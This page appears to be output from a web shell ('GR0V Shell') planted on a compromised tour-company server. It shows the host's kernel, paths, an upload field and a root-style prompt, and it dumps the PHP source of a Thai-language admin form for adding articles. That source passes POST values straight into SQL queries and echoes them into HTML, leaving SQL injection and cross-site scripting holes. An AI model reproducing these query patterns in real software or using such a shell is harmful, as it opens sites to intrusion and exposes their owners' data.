? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.com/public_html/backend/modules/content/
File Upload :
Current File : /home/admin/domains/happytokorea.com/public_html/backend/modules/content/com_new_topic.php

<?
require_once('function.php');
$selected=$_GET[CATID];
?>
<!--bkLib.onDomLoaded(function() {
	new nicEditor({fullPanel : true}).panelInstance('ContentMap');
});
bkLib.onDomLoaded(function() {
	new nicEditor({fullPanel : true}).panelInstance('ContentComment');
});
bkLib.onDomLoaded(function() {
	new nicEditor({fullPanel : true}).panelInstance('ContentFacilities');
});
bkLib.onDomLoaded(function() {
	new nicEditor({fullPanel : true}).panelInstance('ContentCondition');
});-->
  <script type="text/javascript" src="nicEdit2/nicEdit-latest.js"></script> <script type="text/javascript">
//<![CDATA[
        bkLib.onDomLoaded(function() { nicEditors.allTextAreas({fullPanel : true}) });
  //]]>
  </script>

<script language="javascript" src="js/jquery-1.4.4.js"></script>
<script type="text/javascript">
$(document).ready(function(){
 var i = 1;
	$('#addRow').click(function(){
		var tr = "<tr><td><input  type=\"file\" name=\"files["+i+"]\" id=\"files["+i+"]\" multiple=\"ture\" accept=\"image/*\" class=\"basicBtn\" size=\"45\" /></td></tr>";
 		i += 1;
		$('#myTbl').append(tr);
	});

})
</script>
<SCRIPT language=JavaScript>
function fun_name()
{

var temp;
var digital="'";

if (document.webForm.ContentName.value.length != 0)
    {
       for (var i=0;i<document.webForm.ContentName.value.length;i++)
         {
              temp=document.webForm.ContentName.value.substring(i,i+1)
              if (digital.indexOf(temp)!=-1)
                {
                    errmsg="ห้ามใส่เครื่องหมาย '";
                    document.webForm.ContentName.select();
                    alert(errmsg);
                    return false;
                }
         }
   }
if (document.webForm.city.value.length != 0)
    {
       for (var i=0;i<document.webForm.city.value.length;i++)
         {
              temp=document.webForm.city.value.substring(i,i+1)
              if (digital.indexOf(temp)!=-1)
                {
                    errmsg="ห้ามใส่เครื่องหมาย '";
                    document.webForm.city.select();
                    alert(errmsg);
                    return false;
                }
         }
   }
if (document.webForm.Period.value.length != 0)
    {
       for (var i=0;i<document.webForm.Period.value.length;i++)
         {
              temp=document.webForm.Period.value.substring(i,i+1)
              if (digital.indexOf(temp)!=-1)
                {
                    errmsg="ห้ามใส่เครื่องหมาย '";
                    document.webForm.Period.select();
                    alert(errmsg);
                    return false;
                }
         }
   }
if (document.webForm.starting.value.length != 0)
    {
       for (var i=0;i<document.webForm.starting.value.length;i++)
         {
              temp=document.webForm.starting.value.substring(i,i+1)
              if (digital.indexOf(temp)!=-1)
                {
                    errmsg="ห้ามใส่เครื่องหมาย '";
                    document.webForm.starting.select();
                    alert(errmsg);
                    return false;
                }
         }
   }
if (document.webForm.hotels.value.length != 0)
    {
       for (var i=0;i<document.webForm.hotels.value.length;i++)
         {
              temp=document.webForm.hotels.value.substring(i,i+1)
              if (digital.indexOf(temp)!=-1)
                {
                    errmsg="ห้ามใส่เครื่องหมาย '";
                    document.webForm.hotels.select();
                    alert(errmsg);
                    return false;
                }
         }
   }
if (document.webForm.tentMetaTitle.value.length != 0)
    {
       for (var i=0;i<document.webForm.tentMetaTitle.value.length;i++)
         {
              temp=document.webForm.tentMetaTitle.value.substring(i,i+1)
              if (digital.indexOf(temp)!=-1)
                {
                    errmsg="ห้ามใส่เครื่องหมาย '";
                    document.webForm.tentMetaTitle.select();
                    alert(errmsg);
                    return false;
                }
         }
   }
if (document.webForm.ContentMetaKeyword.value.length != 0)
    {
       for (var i=0;i<document.webForm.ContentMetaKeyword.value.length;i++)
         {
              temp=document.webForm.ContentMetaKeyword.value.substring(i,i+1)
              if (digital.indexOf(temp)!=-1)
                {
                    errmsg="ห้ามใส่เครื่องหมาย '";
                    document.webForm.ContentMetaKeyword.select();
                    alert(errmsg);
                    return false;
                }
         }
   }
if (document.webForm.ContentMetaDescription.value.length != 0)
    {
       for (var i=0;i<document.webForm.ContentMetaDescription.value.length;i++)
         {
              temp=document.webForm.ContentMetaDescription.value.substring(i,i+1)
              if (digital.indexOf(temp)!=-1)
                {
                    errmsg="ห้ามใส่เครื่องหมาย '";
                    document.webForm.ContentMetaDescription.select();
                    alert(errmsg);
                    return false;
                }
         }
   }
if (document.webForm.ContentTitle.value.length != 0)
    {
       for (var i=0;i<document.webForm.ContentTitle.value.length;i++)
         {
              temp=document.webForm.ContentTitle.value.substring(i,i+1)
              if (digital.indexOf(temp)!=-1)
                {
                    errmsg="ห้ามใส่เครื่องหมาย '";
                    document.webForm.ContentTitle.select();
                    alert(errmsg);
                    return false;
                }
         }
   }
if (document.webForm.ContentDetail.value.length != 0)
    {
       for (var i=0;i<document.webForm.ContentDetail.value.length;i++)
         {
              temp=document.webForm.ContentDetail.value.substring(i,i+1)
              if (digital.indexOf(temp)!=-1)
                {
                    errmsg="ห้ามใส่เครื่องหมาย '";
                    document.webForm.ContentDetail.select();
                    alert(errmsg);
                    return false;
                }
         }
   }
if (document.webForm.ContentTags.value.length != 0)
    {
       for (var i=0;i<document.webForm.ContentTags.value.length;i++)
         {
              temp=document.webForm.ContentTags.value.substring(i,i+1)
              if (digital.indexOf(temp)!=-1)
                {
                    errmsg="ห้ามใส่เครื่องหมาย '";
                    document.webForm.ContentTags.select();
                    alert(errmsg);
                    return false;
                }
         }
   }

}
</SCRIPT>
 <div class="content">
    	<div class="title"><img style="padding:10px 0 0 15px; float:left;" src="images/icons/dark/create.png" alt="" /><h5>เพิ่มบทความ</h5></div>


        	<!-- Input text fields -->
                <div class="widget first">

<form action="<? echo"$PHPSELF?mod=content&ac=new_data";?>" class="mainForm" id="webForm2" method="post" name="webForm2">
                        <div class="rowElem" style="border-top:1px solid #cccccc;"><label>หมวดหมู่บทความ</label>
						<div class="formRight">
<?
if($_SESSION["user_login"]['Type'] == 3){
	?>
    <SELECT name="CatID" id="CatID" onchange="document.webForm2.submit()">
    <?
			$rs=$db->Query("SELECT * FROM content_cat WHERE CatID = 135");
			$arr=mysql_fetch_array($rs);
					echo "<option value=\"{$arr['CatID']}\" selected=\"selected\">{$arr['CatName']}</option>";
					$_POST['CatID']=$arr['CatID'];
?>
</SELECT>
    <?
}else{
?>
                    		<SELECT name="CatID" id="CatID" onchange="document.webForm2.submit()">
<?
			$rs=$db->Query("SELECT * FROM content_cat WHERE CatParentID = 0 and CatID!=135");
			while($arr=mysql_fetch_array($rs)){
				if($_POST['CatID'] == $arr['CatID']){
					echo "<option value=\"{$arr['CatID']}\" selected=\"selected\">{$arr['CatName']}</option>";
				}else{
					echo "<option value=\"{$arr['CatID']}\">{$arr['CatName']}</option>";
				}

				}
?>
							</SELECT>
                            <SELECT name="Cat_sub" id="Cat_sub" onchange="document.webForm2.submit()">
<?
			$rs=$db->Query("SELECT * FROM content_cat WHERE CatParentID = ".$_POST['CatID']." ORDER BY CatID ASC");
			while($arr=mysql_fetch_array($rs)){
				if($_POST['Cat_sub'] == $arr['CatID']){
					echo "<option value=\"{$arr['CatID']}\" selected=\"selected\">{$arr['CatName']}</option>";
				}else{
					echo "<option value=\"{$arr['CatID']}\">{$arr['CatName']}</option>";
				}

				}
			if($_POST['Cat_sub'] == ""){
			$rs=$db->Query("SELECT * FROM content_cat WHERE CatParentID = ".$_POST['CatID']." ORDER BY CatID ASC");
			$arr=mysql_fetch_array($rs);
				$_POST['Cat_sub']= $arr['CatID'];
			}
?>
							</SELECT>
<?
}
?>
                        </div>
						<div class="fix"></div></div>
</form>
		<?
        if($_POST['CatID']==""){
			$_POST['CatID']="55";
		}
		?>
<form action="<? echo"$PHPSELF?mod=content&ac=add_data_con";?>" enctype="multipart/form-data" class="mainForm" id="webForm" method="post" name="webForm">
						<div class="rowElem" style="border-top:1px solid #cccccc;"><label>ชื่อบทความ</label><div class="formRight"><input name="ContentName" type="text" id="ContentName" onChange="fun_name()"/>
                        <input name="CatID" type="hidden" value="<?=$_POST['CatID'];?>" />
                        <input name="Cat_sub" type="hidden" value="<?=$_POST['Cat_sub'];?>" />
						</div><div class="fix"></div></div>
<?
if($_POST['CatID']=="144"||$_POST['CatID']=="130"||$_POST['CatID']=="132"){
?>
						<div class="rowElem"><label>สถานที่</label><div class="formRight"><input type="text" name="Place" id="Place" />
						</div><div class="fix"></div></div>
						<? if($_POST['CatID']=="144"){?>
						<div class="rowElem"><label>กำหนดการ</label><div class="formRight"><input type="text" name="ContentPlace" id="ContentPlace" />
						</div><div class="fix"></div></div>
						<? }?>
    					<div class="rowElem"><label>ประเภท</label><div class="formRight"><input type="text" name="ContentType" id="ContentType" />
						</div><div class="fix"></div></div>
						<div class="rowElem"><label>ระยะเวลา</label><div class="formRight"><input type="text" name="ContentTime" id="ContentTime" />
						</div><div class="fix"></div></div>

	<?
}
	?>
    <?
if($_POST['CatID']=="144"||$_POST['CatID']=="130"){
?>
						<div class="rowElem"><label>จำนวนคนขั้นต่ำ</label><div class="formRight"><input type="text" name="ContentPl" id="ContentPl" />
						</div><div class="fix"></div></div>
	<?
}
	?>
	<?
if($_POST['CatID']=="132"){
?>
						<div class="rowElem"><label>ระดับ(ดาว)</label><div class="formRight">
						    <select name="ContentHotels" id="ContentHotels">
						      <option value="1 ดาว">1 ดาว</option>
						    <option value="2 ดาว">2 ดาว</option>
						    <option value="3 ดาว">3 ดาว</option>
						    <option value="4 ดาว">4 ดาว</option>
						    <option value="5 ดาว" selected="selected">5 ดาว</option>
                          </select>
						</div><div class="fix"></div></div>
						<div class="rowElem"><label>ที่ตั้ง</label><div class="formRight"><input name="ContentLo" type="text" id="ContentLo" onChange="fun_name()"/>
						</div><div class="fix"></div></div>
	<?
}
	?>
<?
if($_POST['CatID']=="144"||$_POST['CatID']=="130"||$_POST['CatID']=="132"){
?>
						<div class="rowElem"><label>ราคา</label><div class="formRight"><input name="ContentPrice" type="text" id="ContentPrice" onChange="fun_name()"/>
						</div><div class="fix"></div></div>
						<div class="rowElem"><label>สกุลเงิน</label><div class="formRight">
						<table>
						<tr>
						<td width="80"><input type="radio" name="ContentCurrency" value="บาท" checked>&nbsp;บาท</td>
						<td width="80"><input type="radio" name="ContentCurrency" value="USD">&nbsp;USD</td>
						<td width="80"><input type="radio" name="ContentCurrency" value="KPW">&nbsp;KPW</td>
						</tr>
						</table>
						</div><div class="fix"></div></div>
	<?
}
	?>

<?
if($_POST['CatID']=="144"||$_POST['CatID']=="130"||$_POST['CatID']=="132"||$_POST['CatID']=="134"||$_POST['CatID']=="133"||$_POST['CatID']=="135"){
?>
<div class="rowElem"><label>รูปภาพ (gallery)
</label>
		<div class="formRight">
<table id="myTbl" width="650" border="1" cellspacing="2" cellpadding="0">
  <tr id="firstTr">
    <td><input  type="file" name="files[0]" id="files[0]" multiple accept="image/*" class="basicBtn" size="45" /></td>
    </tr>
</table>
<br />
<table width="500" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td>

    <input type="button" value="เพิ่มรูป" id="addRow" class="basicBtn">
	</td>
  </tr>
</table>
		  &nbsp;
	    </div>
		<div class="fix"></div></div>
	<?
}
	?>

<?
if($_POST['CatID']<>"134"){
?>
						<div class="rowElem"><label>ไฟล์ pdf</label><div class="formRight"><input  type="file" name="ContentPdf" id="ContentPdf" class="basicBtn" size="45"></div><div class="fix"></div></div>
				<?
}
	?>
            			<div class="rowElem"><label>รายละเอียด</label><div class="formRight"><textarea name="ContentDetail" cols="" rows="6" id="ContentDetail" onChange="fun_name()"></textarea>
						</div><div class="fix"></div></div>
	<?
if($_POST['CatID']=="132"){
?>
        				<div class="rowElem"><label>สิ่งอำนวยความสะดวก</label><div class="formRight"><textarea name="ContentFacilities" cols="" rows="6" id="ContentFacilities"></textarea>
	  </div><div class="fix"></div></div>
						<div class="rowElem"><label>เงื่อนไขการสำรองห้อง</label><div class="formRight"><textarea name="ContentCondition" cols="" rows="6" id="ContentCondition"></textarea>
	  </div><div class="fix"></div></div>
						<div class="rowElem"><label>แผนที่โรงแรม</label><div class="formRight"><textarea name="ContentMap" cols="" rows="10"  id="ContentMap"></textarea>
						</div><div class="fix"></div></div>
				<?
}
	?>
    	<?
if($_POST['CatID']=="133"||$_POST['CatID']=="134"||$_POST['CatID']=="135"){
?>
            			<div class="rowElem"><label>รายละเอียดย่อ</label><div class="formRight"><input type="text" name="ContentTitle" id="ContentTitle" />
						</div><div class="fix"></div></div>
				<?
}
	?>
    	<?
if($_POST['CatID']=="135"){
?>
    					<?php /*?><div class="rowElem">
						  <label>คอมเม้น</label><div class="formRight"><iframe src="modules/content/comment.php?id=<?=$_GET['id'];?>" width="100%" height="200"></iframe>
   </div><div class="fix"></div></div><?php */?>
   <input name="ContentBlog" type="hidden" value="<?=$_SESSION["user_login"]['Nickname']?>" />
   <input name="ContentBlogID" type="hidden" value="<?=$_SESSION["user_login"]['ID']?>" />
						<?php /*?><div class="rowElem"><label>ชื่อคนเขียน blog</label><div class="formRight"><input type="text" name="ContentBlog" id="ContentBlog" />
						</div><div class="fix"></div></div><?php */?>
				<?
}
	?>
    					<div class="rowElem"><label>เปิดให้อ่าน</label><div class="formRight">
                             <label><input name="ContentPublic" type="radio" value="1" checked="checked" />
                     ใช่</label>
                            <label><input name="ContentPublic" type="radio" value="0"  />
                            ไม่ใช่</label></div><div class="fix"></div></div>

						<div class="rowElem"><label>Meta Title (SEO)</label>
						  <div class="formRight">
						    <input name="ContentMetaTitle" type="text" id="ContentMetaTitle" onChange="fun_name()"/>
						  </div>
				  <div class="fix"></div></div>
						<div class="rowElem"><label>MetaKeyword (SEO)</label><div class="formRight"><input name="ContentMetaKeyword" type="text" id="ContentMetaKeyword" onChange="fun_name()"/>
						</div><div class="fix"></div></div>
					<div class="rowElem"><label>Meta Description (SEO)</label><div class="formRight"><input name="ContentMetaDescription" type="text" id="ContentMetaDescription" onChange="fun_name()"/>
					</div><div class="fix"></div></div>
						<div class="rowElem"><label>&nbsp;</label><div class="formRight">
						<input type="submit" value="บันทึกบทความ" class="greyishBtn" /><input type="reset" value="ยกเลิกบทความ" class="basicBtn" /></div><div class="fix"></div></div>
</form>
                        <div class="fix"></div>

                </div>
               <div class="rowElem" style="border-top:1px solid #cccccc;"><label></label><div class="formRight">

                        </div><div class="fix"></div></div>

      </div>

T1KUS90T
  root-grov@210.1.60.28:~$